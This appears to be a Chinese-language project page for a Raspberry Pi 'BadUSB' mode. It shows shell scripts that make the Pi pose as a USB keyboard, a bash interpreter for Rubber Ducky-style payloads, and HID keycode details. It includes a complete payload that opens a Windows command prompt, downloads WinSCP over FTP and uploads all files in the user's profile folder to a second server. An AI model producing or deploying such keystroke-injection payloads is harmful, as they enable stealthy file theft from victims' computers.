﻿{% extends "layout.html" %}
{% block tittle %}
<title>BadUSB模式</title>
{% endblock %}
{% block body %}
<div id="export_content">
  <div class="output_wrapper" id="output_wrapper_id">
    <h1><span>BadUSB模式</span></h1>
    <h3 id="hgithub"><span>Github</span></h3>
    <p>https://github.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device</p>
    <h3 id="hbadusb"><span>Badusb介绍</span></h3>
    <blockquote>
      <p>BadUSB is a dangerous USB security flaw that allows attackers to turn a simple USB device into a keyboard,
        which can then be used to type malicious commands into the victim's computer.</p>
    </blockquote>
    <p>在<em>钢铁侠1</em>中 <em>1:31:09</em> 处有关于Badusb的演示。。。</p>
    <h3 id="h"><span>方案选择</span></h3>
    <ol>
      <li>在树莓派Zero上已经有比较完整的实现Badusb方案：<strong>P4wnP1</strong></li>
    </ol>
    <blockquote>
      <p>P4wnP1 is a highly customizable USB attack platform, based on a low cost Raspberry Pi Zero or Raspberry Pi
        Zero W (required for HID backdoor).</p>
    </blockquote>
    <p>该方案不支持最新的debian10,而且由于其集成了很多功能，与目前多功能USB其他部分设置存在冲突，故舍弃。</p>
    <ol start="2">
      <li>在寻求其他方案过程中发现另一个开源工具: <strong>hardpass-passwordmanager</strong>(<em>A Raspberry Pi Zero based WiFi Enabled
          Hardware Password Manager, now with a PCB</em>)，这个硬件密码管理器实现了
        <strong>虚拟ID键盘</strong>和<strong>HID键盘输入解析</strong>，这部分正好可以给Badusb使用。剩下的部分就是编写Payload解释器脚本</li>
    </ol>
    <blockquote>
      <p><code>Payload</code>在本文可以简单理解为实现Badusb单个功能（如Windows解锁，调用<code>cmd</code>窗口运行命令）的流程脚本。</p>
    </blockquote>
    <h3 id="h-1"><span>实现</span></h3>
    <p>本文采用第二种方案。该实现需要三部分：模拟HID键盘， Payload解释器和内容输入</p>
    <h4 id="hhid"><span>模拟HID键盘</span></h4>
    <ol>
      <li><span>初始环境设置</span></li>
    </ol>
    <pre><code class="hljs bash"><span class="linenum hljs-number">1</span><span class="hljs-comment">#&nbsp;Enable&nbsp;dwc2&nbsp;on&nbsp;the&nbsp;Pi</span><br><span class="linenum hljs-number">2</span><span class="hljs-built_in">echo</span>&nbsp;<span class="hljs-string">"dtoverlay=dwc2"</span>&nbsp;|&nbsp;sudo&nbsp;tee&nbsp;-a&nbsp;/boot/config.txt<br><span class="linenum hljs-number">3</span><br><span class="linenum hljs-number">4</span><span class="hljs-comment">#&nbsp;Enable&nbsp;dwc2&nbsp;initialisation</span><br><span class="linenum hljs-number">5</span><span class="hljs-built_in">echo</span>&nbsp;<span class="hljs-string">"dwc2"</span>&nbsp;|&nbsp;sudo&nbsp;tee&nbsp;-a&nbsp;/etc/modules<br><span class="linenum hljs-number">6</span><span class="hljs-built_in">echo</span>&nbsp;<span class="hljs-string">"libcomposite"</span>&nbsp;|&nbsp;sudo&nbsp;tee&nbsp;-a&nbsp;/etc/modules<br></code></pre>
    <ol start="2">
      <li>实际应用中，已将以下脚本注册成服务，需要时<code>enable</code>对应服务并重启即可。</li>
    </ol>
    <pre><code class="hljs bash"><span class="linenum hljs-number"> 1</span><span class="hljs-meta">#!/bin/bash<br><span class="linenum hljs-number"> 2</span></span><br><span class="linenum hljs-number"> 3</span><span class="hljs-comment">#&nbsp;Initial&nbsp;Setup</span><br><span class="linenum hljs-number"> 4</span>modprobe&nbsp;libcomposite<br><span class="linenum hljs-number"> 5</span><span class="hljs-built_in">cd</span>&nbsp;/sys/kernel/config/usb_gadget/<br><span class="linenum hljs-number"> 6</span>mkdir&nbsp;-p&nbsp;g1<br><span class="linenum hljs-number"> 7</span><span class="hljs-built_in">cd</span>&nbsp;g1<br><span class="linenum hljs-number"> 8</span><br><span class="linenum hljs-number"> 9</span><span class="hljs-comment">#&nbsp;Device&nbsp;description</span><br><span class="linenum hljs-number">10</span><span class="hljs-built_in">echo</span>&nbsp;0x1d6b&nbsp;&gt;&nbsp;idVendor&nbsp;<span class="hljs-comment">#&nbsp;Linux&nbsp;Foundation</span><br><span class="linenum hljs-number">11</span><span class="hljs-built_in">echo</span>&nbsp;0x0104&nbsp;&gt;&nbsp;idProduct&nbsp;<span class="hljs-comment">#&nbsp;Multifunction&nbsp;Composite&nbsp;Gadget</span><br><span class="linenum hljs-number">12</span><span class="hljs-built_in">echo</span>&nbsp;0x0100&nbsp;&gt;&nbsp;bcdDevice&nbsp;<span class="hljs-comment">#&nbsp;v1.0.0</span><br><span class="linenum hljs-number">13</span><span class="hljs-built_in">echo</span>&nbsp;0x0200&nbsp;&gt;&nbsp;bcdUSB&nbsp;<span class="hljs-comment">#&nbsp;USB2</span><br><span class="linenum hljs-number">14</span><br><span class="linenum hljs-number">15</span>mkdir&nbsp;-p&nbsp;strings/0x409<br><span class="linenum hljs-number">16</span><span class="hljs-built_in">echo</span>&nbsp;<span class="hljs-string">"abcdef1234567890"</span>&nbsp;&gt;&nbsp;strings/0x409/serialnumber<br><span class="linenum hljs-number">17</span><span class="hljs-built_in">echo</span>&nbsp;<span class="hljs-string">"Pedro&nbsp;Qin"</span>&nbsp;&gt;&nbsp;strings/0x409/manufacturer<br><span class="linenum hljs-number">18</span><span class="hljs-built_in">echo</span>&nbsp;<span class="hljs-string">"raspberry&nbsp;USB&nbsp;device"</span>&nbsp;&gt;&nbsp;strings/0x409/product<br><span class="linenum hljs-number">19</span><br><span class="linenum hljs-number">20</span><span class="hljs-comment">#&nbsp;Define&nbsp;a&nbsp;Keyboard</span><br><span class="linenum hljs-number">21</span>mkdir&nbsp;-p&nbsp;<span class="hljs-built_in">functions</span>/hid.usb0<br><span class="linenum hljs-number">22</span><span class="hljs-built_in">echo</span>&nbsp;1&nbsp;&gt;&nbsp;<span class="hljs-built_in">functions</span>/hid.usb0/protocol<br><span class="linenum hljs-number">23</span><span class="hljs-built_in">echo</span>&nbsp;1&nbsp;&gt;&nbsp;<span class="hljs-built_in">functions</span>/hid.usb0/subclass<br><span class="linenum hljs-number">24</span><span class="hljs-built_in">echo</span>&nbsp;8&nbsp;&gt;&nbsp;<span class="hljs-built_in">functions</span>/hid.usb0/report_length<br><span class="linenum hljs-number">25</span><span class="hljs-built_in">echo</span>&nbsp;-ne&nbsp;\\x05\\x01\\x09\\x06\\xa1\\x01\\x05\\x07\\x19\\xe0\\x29\\xe7\\x15\\x00\\x25\\x01\\x75\\x01\\x95\\x08\\x81\\x02\\x95\\x01\\x75\\x08\\x81\\x03\\x95\\x05\\x75\\x01\\x05\\x08\\x19\\x01\\x29\\x05\\x91\\x02\\x95\\x01\\x75\\x03\\x91\\x03\\x95\\x06\\x75\\x08\\x15\\x00\\x25\\x65\\x05\\x07\\x19\\x00\\x29\\x65\\x81\\x00\\xc0&nbsp;&gt;&nbsp;<span class="hljs-built_in">functions</span>/hid.usb0/report_desc<br><span class="linenum hljs-number">26</span>mkdir&nbsp;-p&nbsp;configs/c.1/strings/0x409<br><span class="linenum hljs-number">27</span>ln&nbsp;-s&nbsp;<span class="hljs-built_in">functions</span>/hid.usb0&nbsp;configs/c.1/<br><span class="linenum hljs-number">28</span><br><span class="linenum hljs-number">29</span><span class="hljs-built_in">echo</span>&nbsp;<span class="hljs-string">"Config&nbsp;1:&nbsp;Keyboard"</span>&nbsp;&gt;&nbsp;configs/c.1/strings/0x409/configuration<br><span class="linenum hljs-number">30</span><span class="hljs-built_in">echo</span>&nbsp;250&nbsp;&gt;&nbsp;configs/c.1/MaxPower<br><span class="linenum hljs-number">31</span>ls&nbsp;/sys/class/udc&nbsp;&gt;&nbsp;UDC<br><span class="linenum hljs-number">32</span><span class="hljs-comment">#&nbsp;for&nbsp;status&nbsp;check</span><br><span class="linenum hljs-number">33</span>touch&nbsp;/tmp/enable_hid.lock<br></code></pre>
    <ol start="3">
      <li>实现效果如下： 
      <img src="{{ url_for('static',filename='14.jpg') }}" />
    </ol>
    <h4 id="hpayload"><span>模拟Payload解释器</span></h4>
    <p>以下是一个叫<code>Payload ftp download upload</code>的Payload：</p>
    <pre><code class="hljs vbscript"><span class="linenum hljs-number"> 1</span>GUI&nbsp;r<br><span class="linenum hljs-number"> 2</span>DELAY&nbsp;<span class="hljs-number">200</span><br><span class="linenum hljs-number"> 3</span><span class="hljs-built_in">STRING</span>&nbsp;cmd<br><span class="linenum hljs-number"> 4</span>ENTER<br><span class="linenum hljs-number"> 5</span>DELAY&nbsp;<span class="hljs-number">600</span><br><span class="linenum hljs-number"> 6</span><span class="hljs-built_in">STRING</span>&nbsp;cd&nbsp;%USERPROFILE%<br><span class="linenum hljs-number"> 7</span>ENTER<br><span class="linenum hljs-number"> 8</span><span class="hljs-built_in">STRING</span>&nbsp;ftp&nbsp;-i&nbsp;<span class="hljs-built_in">SERVER</span><br><span class="linenum hljs-number"> 9</span>ENTER<br><span class="linenum hljs-number">10</span>DELAY&nbsp;<span class="hljs-number">800</span><br><span class="linenum hljs-number">11</span><span class="hljs-built_in">STRING</span>&nbsp;USERNAME<br><span class="linenum hljs-number">12</span>ENTER<br><span class="linenum hljs-number">13</span><span class="hljs-built_in">STRING</span>&nbsp;PASSWORD<br><span class="linenum hljs-number">14</span>ENTER<br><span class="linenum hljs-number">15</span><span class="hljs-built_in">STRING</span>&nbsp;<span class="hljs-keyword">GET</span>&nbsp;WinSCP.com<br><span class="linenum hljs-number">16</span>ENTER<br><span class="linenum hljs-number">17</span>DELAY&nbsp;<span class="hljs-number">200</span><br><span class="linenum hljs-number">18</span><span class="hljs-built_in">STRING</span>&nbsp;<span class="hljs-keyword">GET</span>&nbsp;WinSCP.exe<br><span class="linenum hljs-number">19</span>ENTER<br><span class="linenum hljs-number">20</span>DELAY&nbsp;<span class="hljs-number">3000</span><br><span class="linenum hljs-number">21</span><span class="hljs-built_in">STRING</span>&nbsp;quit<br><span class="linenum hljs-number">22</span>ENTER<br><span class="linenum hljs-number">23</span><span class="hljs-keyword">REM</span>&nbsp;FTP&nbsp;user&nbsp;only&nbsp;needs&nbsp;write&nbsp;access.<br><span class="linenum hljs-number">24</span><span class="hljs-built_in">STRING</span>&nbsp;WinSCP.com&nbsp;/command&nbsp;<span class="hljs-string">"option&nbsp;batch&nbsp;abort"</span>&nbsp;<span class="hljs-string">"option&nbsp;confirm&nbsp;off"</span>&nbsp;<span class="hljs-string">"open&nbsp;ftp://USERNAME2:PASSWORD2@SERVER2"</span>&nbsp;<span class="hljs-string">"put&nbsp;*.*"</span>&nbsp;<span class="hljs-string">"close"</span>&nbsp;<span class="hljs-string">"exit"</span><br><span class="linenum hljs-number">25</span>ENTER<br><span class="linenum hljs-number">26</span>ALT&nbsp;<span class="hljs-built_in">SPACE</span><br><span class="linenum hljs-number">27</span><span class="hljs-built_in">STRING</span>&nbsp;N<br></code></pre>
    <p>根据此Payload 脚本，可简单模拟解释器，主要逻辑如下：</p>
    <pre><code class="hljs bash"><span class="linenum hljs-number"> 1</span>&nbsp;&nbsp;&nbsp;&nbsp;......<br><span class="linenum hljs-number"> 2</span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-built_in">echo</span>&nbsp;<span class="hljs-string">"<span class="hljs-variable">$@</span>"</span>&nbsp;|&nbsp;<span class="hljs-keyword">while</span>&nbsp;<span class="hljs-built_in">read</span>&nbsp;line;<span class="hljs-keyword">do</span><br><span class="linenum hljs-number"> 3</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-keyword">case</span>&nbsp;<span class="hljs-variable">${line:0:3}</span>&nbsp;<span class="hljs-keyword">in</span><br><span class="linenum hljs-number"> 4</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-comment">#&nbsp;ctrl</span><br><span class="linenum hljs-number"> 5</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CON)<br><span class="linenum hljs-number"> 6</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;prefix=<span class="hljs-string">"\x1"</span><br><span class="linenum hljs-number"> 7</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;press_one_key&nbsp;<span class="hljs-string">"<span class="hljs-variable">$prefix</span>"</span>&nbsp;<span class="hljs-string">"<span class="hljs-variable">${line#*&nbsp;}</span>"</span><br><span class="linenum hljs-number"> 8</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;;<br><span class="linenum hljs-number"> 9</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-comment">#&nbsp;alt</span><br><span class="linenum hljs-number">10</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ALT)<br><span class="linenum hljs-number">11</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;prefix=<span class="hljs-string">"\x4"</span><br><span class="linenum hljs-number">12</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;press_one_key&nbsp;<span class="hljs-string">"<span class="hljs-variable">$prefix</span>"</span>&nbsp;<span class="hljs-string">"<span class="hljs-variable">${line#*&nbsp;}</span>"</span><br><span class="linenum hljs-number">13</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;;<br><span class="linenum hljs-number">14</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-comment">#&nbsp;shift</span><br><span class="linenum hljs-number">15</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SHI)<br><span class="linenum hljs-number">16</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;prefix=<span class="hljs-string">"\x2"</span><br><span class="linenum hljs-number">17</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;press_one_key&nbsp;<span class="hljs-string">"<span class="hljs-variable">$prefix</span>"</span>&nbsp;<span class="hljs-string">"<span class="hljs-variable">${line#*&nbsp;}</span>"</span><br><span class="linenum hljs-number">18</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;;<br><span class="linenum hljs-number">19</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-comment">#&nbsp;windows</span><br><span class="linenum hljs-number">20</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GUI)<br><span class="linenum hljs-number">21</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;prefix=<span class="hljs-string">"\x08"</span><br><span class="linenum hljs-number">22</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;press_one_key&nbsp;<span class="hljs-string">"<span class="hljs-variable">$prefix</span>"</span>&nbsp;<span class="hljs-string">"<span class="hljs-variable">${line#*&nbsp;}</span>"</span><br><span class="linenum hljs-number">23</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;;<br><span class="linenum hljs-number">24</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-comment">#&nbsp;comments</span><br><span class="linenum hljs-number">25</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REM)<br><span class="linenum hljs-number">26</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-built_in">continue</span><br><span class="linenum hljs-number">27</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;;<br><span class="linenum hljs-number">28</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-comment">#&nbsp;input&nbsp;str</span><br><span class="linenum hljs-number">29</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;STR)<br><span class="linenum hljs-number">30</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;input_string&nbsp;<span class="hljs-string">"<span class="hljs-variable">${line#*&nbsp;}</span>"</span><br><span class="linenum hljs-number">31</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;;<br><span class="linenum hljs-number">32</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-comment">#&nbsp;enter</span><br><span class="linenum hljs-number">33</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ENT)<br><span class="linenum hljs-number">34</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;press_enter<br><span class="linenum hljs-number">35</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;;<br><span class="linenum hljs-number">36</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-comment">#&nbsp;delay</span><br><span class="linenum hljs-number">37</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DEL)<br><span class="linenum hljs-number">38</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep&nbsp;<span class="hljs-string">"<span class="hljs-variable">${line#*&nbsp;}</span>"</span><br><span class="linenum hljs-number">39</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;;<br><span class="linenum hljs-number">40</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EXI)<br><span class="linenum hljs-number">41</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-built_in">return</span><br><span class="linenum hljs-number">42</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;;<br><span class="linenum hljs-number">43</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*)<br><span class="linenum hljs-number">44</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;input_string&nbsp;<span class="hljs-string">"<span class="hljs-variable">${line}</span>"</span><br><span class="linenum hljs-number">45</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;;<br><span class="linenum hljs-number">46</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-keyword">esac</span><br><span class="linenum hljs-number">47</span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="hljs-keyword">done</span><br><span class="linenum hljs-number">48</span>&nbsp;&nbsp;&nbsp;&nbsp;......<br></code></pre>
    <h4 id="h-2"><span>内容输入</span></h4>
    <p>HID键盘协议：<strong>ID Usage Tables 1.12</strong> ：<code>10 Keyboard/Keypad Page (0x07)</code></p>
    <p>实现字符串输入需要将目标内容解析成HID keycode，然后由HID键盘转回目标内容。</p>
    <p>具体有以下两种方案，在实际测试时，需两种方案结合，<code>scan</code>完成符串输入和<code>脚本</code>实现控制字串（如<code>ctrl r</code>等）输入</p>
    <h5 id="h1"><span>1. 脚本实现</span></h5>
    <p>USB键盘数据包含8个字节：</p>
    <pre><code class="hljs sql"><span class="linenum hljs-number"> 1</span>BYTE1&nbsp;<span class="hljs-comment">--&nbsp;特殊按键</span><br><span class="linenum hljs-number"> 2</span>&nbsp;|<span class="hljs-comment">--bit0:&nbsp;Left&nbsp;Control&nbsp;&nbsp;是否按下，按下为1</span><br><span class="linenum hljs-number"> 3</span>&nbsp;|<span class="hljs-comment">--bit1:&nbsp;Left&nbsp;Shift&nbsp;&nbsp;&nbsp;&nbsp;是否按下，按下为1</span><br><span class="linenum hljs-number"> 4</span>&nbsp;|<span class="hljs-comment">--bit2:&nbsp;Left&nbsp;Alt&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;是否按下，按下为1</span><br><span class="linenum hljs-number"> 5</span>&nbsp;|<span class="hljs-comment">--bit3:&nbsp;Left&nbsp;GUI（Windows键）&nbsp;是否按下，按下为1</span><br><span class="linenum hljs-number"> 6</span>&nbsp;|<span class="hljs-comment">--bit4:&nbsp;Right&nbsp;Control&nbsp;是否按下，按下为1</span><br><span class="linenum hljs-number"> 7</span>&nbsp;|<span class="hljs-comment">--bit5:&nbsp;Right&nbsp;Shift&nbsp;&nbsp;&nbsp;是否按下，按下为1</span><br><span class="linenum hljs-number"> 8</span>&nbsp;|<span class="hljs-comment">--bit6:&nbsp;Right&nbsp;Alt&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;是否按下，按下为1</span><br><span class="linenum hljs-number"> 9</span>&nbsp;|<span class="hljs-comment">--bit7:&nbsp;Right&nbsp;GUI&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;是否按下，按下为1</span><br><span class="linenum hljs-number">10</span><br><span class="linenum hljs-number">11</span>BYTE2&nbsp;<span class="hljs-comment">--&nbsp;0</span><br><span class="linenum hljs-number">12</span><br><span class="linenum hljs-number">13</span>BYTE3-BYTE8&nbsp;当前按下的普通按键键值，最多六个按键<br></code></pre>
    <p>每次输入完后需输入8个0字节结束输入。<br>示例，输入“A”：</p>
    <pre><code class="hljs perl"><span class="linenum hljs-number">1</span>echo&nbsp;-<span class="hljs-keyword">ne</span>&nbsp;<span class="hljs-string">"\x2\0\x04\0\0\0\0\0"</span>&nbsp;&gt;&nbsp;<span class="hljs-regexp">/dev/hidg</span><span class="hljs-number">0</span><br><span class="linenum hljs-number">2</span><span class="hljs-keyword">sleep</span>&nbsp;<span class="hljs-number">0</span>.<span class="hljs-number">1</span><br><span class="linenum hljs-number">3</span>echo&nbsp;-<span class="hljs-keyword">ne</span>&nbsp;<span class="hljs-string">"\0\0\0\0\0\0\0\0"</span>&nbsp;&gt;&nbsp;<span class="hljs-regexp">/dev/hidg</span><span class="hljs-number">0</span><br></code></pre>
    <p>依此逻辑可以完成键盘模拟输入。但需要注意输入时增加延时。</p>
    <p>缺点：效率低，有部分字母显示不正常</p>
    <h5 id="h2hardpasspasswordmanager"><span>2. 引用<em>hardpass-passwordmanager</em>内工具</span></h5>
    <pre><code class="hljs bash"><span class="linenum hljs-number"> 1</span>root@raspberrypi:/tmp<span class="hljs-comment">#&nbsp;git&nbsp;clone&nbsp;https://github.com/girst/hardpass-passwordmanager</span><br><span class="linenum hljs-number"> 2</span>Cloning&nbsp;into&nbsp;<span class="hljs-string">'hardpass-passwordmanager'</span>...<br><span class="linenum hljs-number"> 3</span>remote:&nbsp;Enumerating&nbsp;objects:&nbsp;446,&nbsp;<span class="hljs-keyword">done</span>.<br><span class="linenum hljs-number"> 4</span>remote:&nbsp;Total&nbsp;446&nbsp;(delta&nbsp;0),&nbsp;reused&nbsp;0&nbsp;(delta&nbsp;0),&nbsp;pack-reused&nbsp;446<br><span class="linenum hljs-number"> 5</span>Receiving&nbsp;objects:&nbsp;100%&nbsp;(446/446),&nbsp;2.00&nbsp;MiB&nbsp;|&nbsp;66.00&nbsp;KiB/s,&nbsp;<span class="hljs-keyword">done</span>.<br><span class="linenum hljs-number"> 6</span>Resolving&nbsp;deltas:&nbsp;100%&nbsp;(263/263),&nbsp;<span class="hljs-keyword">done</span>.<br><span class="linenum hljs-number"> 7</span>Checking&nbsp;out&nbsp;files:&nbsp;100%&nbsp;(165/165),&nbsp;<span class="hljs-keyword">done</span>.<br><span class="linenum hljs-number"> 8</span>root@raspberrypi:/tmp<span class="hljs-comment">#&nbsp;cd&nbsp;hardpass-passwordmanager/send_hid/</span><br><span class="linenum hljs-number"> 9</span>root@raspberrypi:/tmp/hardpass-passwordmanager/send_hid<span class="hljs-comment">#&nbsp;ls</span><br><span class="linenum hljs-number">10</span>LICENSE&nbsp;&nbsp;Makefile&nbsp;&nbsp;README.md&nbsp;&nbsp;hardpass-demo.sh&nbsp;&nbsp;main.c&nbsp;&nbsp;scan&nbsp;&nbsp;scancodes.c&nbsp;&nbsp;scancodes.h<br><span class="linenum hljs-number">11</span>root@raspberrypi:/tmp/hardpass-passwordmanager/send_hid<span class="hljs-comment">#&nbsp;make</span><br><span class="linenum hljs-number">12</span>gcc&nbsp;-std=c99&nbsp;-Wall&nbsp;-Werror&nbsp;main.c&nbsp;scancodes.c&nbsp;-o&nbsp;scan<br></code></pre>
    <p>编译生成的<code>scan</code>工具可以完成字符串的输入<br>缺点：只能实现字符串输入，无法实现控制字符串如<code>GUI r</code>等操作（可通过改源码实现）</p>
    <h3 id="h-3"><span>演示</span></h3>
    <p>视频中演示了payload脚本模式和与AP模式结合时远程控制</p>
    <video width="640" height="368" controls="controls">
      <source src="{{ url_for('static',filename='2.mp4') }}" type="video/mp4">
    </video>
    <h3 id="h-4"><span>附录</span></h3>
    <h4 id="hpayload-1"><span>Payload</span></h4>
    <blockquote>
      <p>Well, a payload can be considered to be somewhat similar to a virus. A payload is a set of malicious codes
        that carry crucial information that can be used to hack any device beyond limits that you can't imagine. …
        Generally, a payload refers to a set of codes which a hacker designs according to his/her requirements.</p>
    </blockquote>
    <h3 id="h-5"><span>参考链接</span></h3>
    <p>what is payload in hacking（https://www.cybrary.it/0p3n/payload-the-hacking-beyond-imagination/）
      <br>Payloads（https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads）
      <br>hardpass-passwordmanager(https://github.com/girst/hardpass-passwordmanager)
      <br>pi-as-keyboard(https://github.com/c4software/pi-as-keyboard) <br>HID Usage Tables
      1.12(https://usb.org/sites/default/files/documents/hut1_12v2.pdf)</p>
  </div>
</div>
{% endblock %}
